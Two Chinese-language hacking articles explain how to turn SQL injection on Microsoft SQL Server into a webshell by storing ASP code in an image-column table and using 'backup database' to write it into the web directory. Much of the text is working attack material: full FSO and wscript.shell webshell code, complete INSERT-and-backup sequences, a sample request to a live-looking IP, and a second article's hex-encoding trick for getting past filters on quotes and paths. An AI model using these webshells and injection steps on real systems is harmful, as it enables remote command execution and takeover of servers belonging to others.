    我也不追问他们是哪里得来的了,我给过的就几个,总是这样子传出去的吧。反正大家都知道,也没有什么好保留的,于是在黑防四期上骗了点钱,过程就是这样。
    过了五一节我拿出原来写的又改了一下,webshell改得更短,加了些在括号中的注释,不过,最重要的还是加了下面一句:
   +——————————————————-+
   | 谨以此文献给我最最最最最喜欢的宝贝星星。|
   +——————————————————-+
●正文:
    最早想到利用数据库系统来写文件大约是在看到MySQL相关文章的时候,我记得有篇经典的贴子是讲利用TCP反弹结合输入法漏洞入侵的,第一步,也是很重 要的一步就是利用了MySQL导出表到文件获得了一个web上的shell。回过头来我想,ACCESS功能不那么强大,有注入漏洞的时候也不能直接获得 执行任何命令的权限,就不去看了(事实上还是可以……);MSSQL倒是有很多人详细研究过,执行命令的方法罗列了很多,可是没有了exec的权限,所做 的还是有限。很多人就在问,MSSQL下面能不能导出一张表到文件,就像MySQL那样子,至少先获得一个低权限的shell来看看,我找来找去也没有找 到导出表的命令,只好退而求其次——不能导出表,那就只好导出数据库了。
    在说明做法前,还是先来看看为什么可以。IIS在通过asp.dll处理.asp扩展名文件的时候,对<%%>以外的内容,不做任何处理就直 接输出,比如拷贝一个.exe文件到web发布目录,改扩展名为.asp后在IE中请求,返回来的结果是多半是.exe文件的内容,而不会是一个500服 务器内部错误。而对于<%%>括起来的内容,默认情况下是按照VBScripts的方式解释执行后给出结果,如果在<%%>里面 的内容有语法错误,才会出现常见的500服务器内部错误。换句话说,如果有一个以.asp为扩展名的文件,只要能精心控制所有的<%%>中的 内容,我们就能够让它正确的执行,而至于<%%>以外的东西,asp.dll不去处理它,我们也不去关心。(这个有点像我朋友在做的预处理, <%%>外的就像是注释,里面的东西才被解释执行然后返回结果)
    再来看看在MSSQL下使用backup database的情况。随便导出一个数据库看看,比如model,当然了,可以在查询分析器中做:
    backup database model to disk=’c:\a.txt’
    用文本的方式打开这个文件,查找是否存在<%和%>,呵呵,显然是没有的吧。通过上面的分析,我们知道,如果把这个文件改扩展名为.asp 后,请求时不会出现问题,也就是说我们的请求会返回文本方式的内容。默认的导出文件不会导致解释执行时的错误,这是很关键的一步。下面我们要让他变为一个 shell,方法自然是做一个表进去,表的内容在备份的时候一定会被存储到备份文件中去的,我们可以控制表的内容,自然也可以控制备份文件的内容。
    到这里可能有人已经想一股脑儿把经典的asp shell的内容写入新建的表然后backup database了,嗯,还没有那么简单,你这样做了的话,如果还想继续我们的实验,那可能要花上重装MSSQL的代价。对于文本类型等的数据,比如 text,nvchar等,在数据库中可能的形式是“abc”,但是在导出文件中,已经变成了宽字符的形式,成了“a b c ”,这样子的话,即使你好心写的是一个“<%”,到了备份文件中,一样的成了“< % ”,里面的内容更是乱七八糟,根本不会被解释执行了(你自己不妨做个试验,我只重装了两次而已)。为了避免这种情况,我们创建的表列项应该是一个二进制形 式的,比如属性为image,这样子,在里面添加的内容,原来是什么导出的备份文件中也就是什么,规规矩矩的,一点都不会变了。
    到了这里,最后只剩下一个问题了,就算你把asp shell的内容写入新建的二进制表,总不会是单独的一行吧(也就是一条记录),谁知道同一个表的两行之间,在导出的备份文件中会不会还有其它的一些内容 呢,如果是这样的话,前面一行<%后的内容倒是可以,中间如果有些乱七八遭的数据,用VBScripts的方式解释执行百分之一百是一个500错 误。所以每一行必须是一个完整的<%%>,这样子,我们才能完全的控制<%%>内的内容,保证能够得到一个正确无误的asp shell。
    OK,终于到了实践的部分了。通过上面的分析,应该知道利用backup database来做一个shell是完全可行的,我们先来改写一下那个利用FSO的asp shell,使其能够符合我们的要求:
<% Dim oScript %>
<% Dim oScriptNet%>
<% Dim oFileSys, oFile%>
<% Dim szCMD, szTempFile%>
<% Set oScript = Server.CreateObject(“WSCRIPT.SHELL”)%>
<% Set oScriptNet = Server.CreateObject(“WSCRIPT.NETWORK”)%>
<% Set oFileSys = Server.CreateObject(“Scripting.FileSystemObject”)%>
<% szCMD = Request.Form(“.CMD”)%>
<% If (szCMD <> “”) Then%>
<% szTempFile = “C:\” & oFileSys.GetTempName()%>
<% Call oScript.Run (“cmd.exe /c ” & szCMD & ” > ” & szTempFile, 0, True)%>
<% Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)%>
<% End If %>
<HTML><BODY><FORM action=”<%= Request.ServerVariables(“URL”) %>” method=”POST”>
<input type=text name=”.CMD” size=45 value=”<%= szCMD %>”><input type=submit value=”Run”></FORM><PRE>
<% If (IsObject(oFile)) Then%>
<% On Error Resume Next%>
<% Response.Write Server.HTMLEncode(oFile.ReadAll)%>
<% oFile.Close%>
<% Call oFileSys.DeleteFile(szTempFile, True)%>
<% End If%>
</BODY></HTML>
    然后打开查询分析器,依次输入以下的SQL查询语句。这些语句的大意就是创建一张表,里面有一个二进制image类型的列,然后把我们上面改写的那个shell作为内容输进去,最后导出整个数据库到一个.asp文件,开始!
use model
create table cmd (str image);
insert into cmd(str) values (‘<% Dim oScript %>’);
insert into cmd(str) values (‘<% Dim oScriptNet%>’);
insert into cmd(str) values (‘<% Dim oFileSys, oFile%>’);
insert into cmd(str) values (‘<% Dim szCMD, szTempFile%>’);
insert into cmd(str) values (‘<% Set oScript = Server.CreateObject(“WSCRIPT.SHELL”)%>’);
insert into cmd(str) values (‘<% Set oScriptNet = Server.CreateObject(“WSCRIPT.NETWORK”)%>’);
insert into cmd(str) values (‘<% Set oFileSys = Server.CreateObject(“Scripting.FileSystemObject”)%>’);
insert into cmd(str) values (‘<% szCMD = Request.Form(“.CMD”)%>’);
insert into cmd(str) values (‘<% If (szCMD <> “”) Then%>’);
insert into cmd(str) values (‘<% szTempFile = “C:\” & oFileSys.GetTempName()%>’);
insert into cmd(str) values (‘<% Call oScript.Run (“cmd.exe /c ” & szCMD & ” > ” & szTempFile, 0, True)%>’);
insert into cmd(str) values (‘<% Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)%>’);
insert into cmd(str) values (‘<% End If %>’);
insert into cmd(str) values (‘<HTML><BODY><FORM action=”<%= Request.ServerVariables(“URL”) %>” method=”POST”>’);
insert into cmd(str) values (‘<input type=text name=”.CMD” size=45 value=”<%= szCMD %>”><input type=submit value=”Run”></FORM><PRE>’);
insert into cmd(str) values (‘<% If (IsObject(oFile)) Then%>’);
insert into cmd(str) values (‘<% On Error Resume Next%>’);
insert into cmd(str) values (‘<% Response.Write Server.HTMLEncode(oFile.ReadAll)%>’);
insert into cmd(str) values (‘<% oFile.Close%>’);
insert into cmd(str) values (‘<% Call oFileSys.DeleteFile(szTempFile, True)%>’);
insert into cmd(str) values (‘<% End If%>’);
insert into cmd(str) values (‘</BODY></HTML>’);
backup database model to disk=’c:\l.asp’;
    拷贝c:\l.asp到你的web发布目录,再用浏览器请求一下,没有500错误的话,你已经获得一个shell了,不过这个shell中垃圾数据实在是太多,你要多按几下TAB键才能到输入命令的那个输入框。
    实践中用FSO的webshell是很不方便的,另外一个可能的webshell是这样子:
<%=server.createobject(“wscript.shell”).exec(“cmd.exe /c “&request(“c”)).stdout.readall%>
    为了造型上的美观,可以做一下适当的修改,不过从形式上来说,这东西应该是最短的。注入时候相应的做一点改动:
use model
create table cmd (str image);
insert into cmd(str) values (‘<%=server.createobject(“wscript.shell”).exec(“cmd.exe /c “&request(“c”)).stdout.readall%>’);
backup database model to disk=’g:\wwwtest\l.asp’;
    请求的时候,像这样子用:
http://202.119.9.42/l.asp?c=dir
    是不是方便一些?
    末了再说说可能出现的问题,一般来说随意选择一个数据库导出,默认情况下里面是不含有<%或者%>的,但也不排除有这种可能,尽管几率很小, 但是我就遇到过一次。如果以前没有动过model,导出的文件肯定是符合要求的,但是如果你中途如果写错了些东西,比如创建了一个表,内容有<%但 是在同一行内没有%>出现的话,这个数据库就再也不能用了,因为也许是为了事务回滚或者是效率上的需要,即使你删除了这张表,在导出的文件中依然保 存有这张表的原始内容,所以,千万要一次成功,错了要换一个database。
    当然上面只是在查询分析器中的实验,实际情况下,如果你能以sa的身份注入,当然是比较轻松的,只是猜测web的物理路径的时候可能会稍微有一些麻烦,因 为你得一次性导出到web的发布目录,不过也许你可以结合其他暴露物理路径的漏洞来利用。如果不是sa的身份的话,也许declare @a sysname;select @a=db_name()会有一些用处。成功的几率,不敢说的太高,估计80%还是有的吧,如果你真的通过这种方法得到了shell,其实你会发现,这真 是世界上最可爱最好用的asp shell——尽管有很多垃圾数据,也许还是个2、3M的大家伙。

Mssql  Backup a Shell 突破特殊字符

文/SuperHei                       2004-10-09
……………………………
安全天使:http://www.4ngel.net/
     BST:http://www.bugkidz.org
……………………………
1.插入数据
mssql注射使用Backup或makewebtask得到webshell,在写入webshell代码时,如果过滤了一些特殊字符,如” ‘等。我们先mssql分析器里“查询”:

use pubs;                                                         <===使用数据哭pubs
create table cmd (str image);                                     <===建立个表cmd 一个属性为image的列   
insert into cmd (str) values (‘<%execute request(“cmd”)&”"%>’)    <===插入数据为 <%execute request(“cmd”)&”"%>
select * from cmd;                                                <===查询输出cmd里的所有数据

查询输出str为:
0×3C256578656375746520726571756573742822636D642229262222253E

我们不管插入str什么数据,在数据库里会自动转为hex编码,那么我们可以直接在上面的sql语句里insert into 的数据改为hex编码:

use pubs
create table cmd (str image)
insert into cmd(str) values(0×3C256578656375746520726571756573742822636D642229262222253E)
select * from cmd

查询输出str为:
0×3C256578656375746520726571756573742822636D642229262222253E

什么2种方法得到的结果一样,但是第2种方法里插入的数据,就没有’ ” &等等。

2.导出路径
常规的插入数据后导出webshell的语句为:
backup database model to disk=’g:\wwwtest\l.asp’;
显然导出路径里包涵了’ : \等,我们照样可以使用hex编码来突破:

declare @a sysname
select @a=0×673A5C777777746573745C6C2E617370   <====0×673A5C777777746573745C6C2E617370为g:\wwwtest\l.asp对应的hex代码
backup database pubs to disk=@a

运行查询,可以成功导出webshell。

3.小结:
 结合1,2我们可以得到完整的导出webshell的sql语句格式为:
use model
create table cmd (str image)
insert into cmd(str) values(0x***********)
declare @a sysname select @a=0x********** backup database pubs to disk=@a;

其实使用hex等编码的方法,在angel的文章〈饶过’(单引号)限制继续射入〉里提过,我只是照搬而已,你也可以搬到其他地方去拉:).

4.查考文章:
〈饶过’(单引号)限制继续射入〉 http://www.4ngel.net/article/14.htm
〈在MSSQL下实现Backup a shell〉 http://safer.cnwill.com/show.php?id=469
    转hex脚本(aschex.pl)             http://www.4ngel.net/project/aschex.txt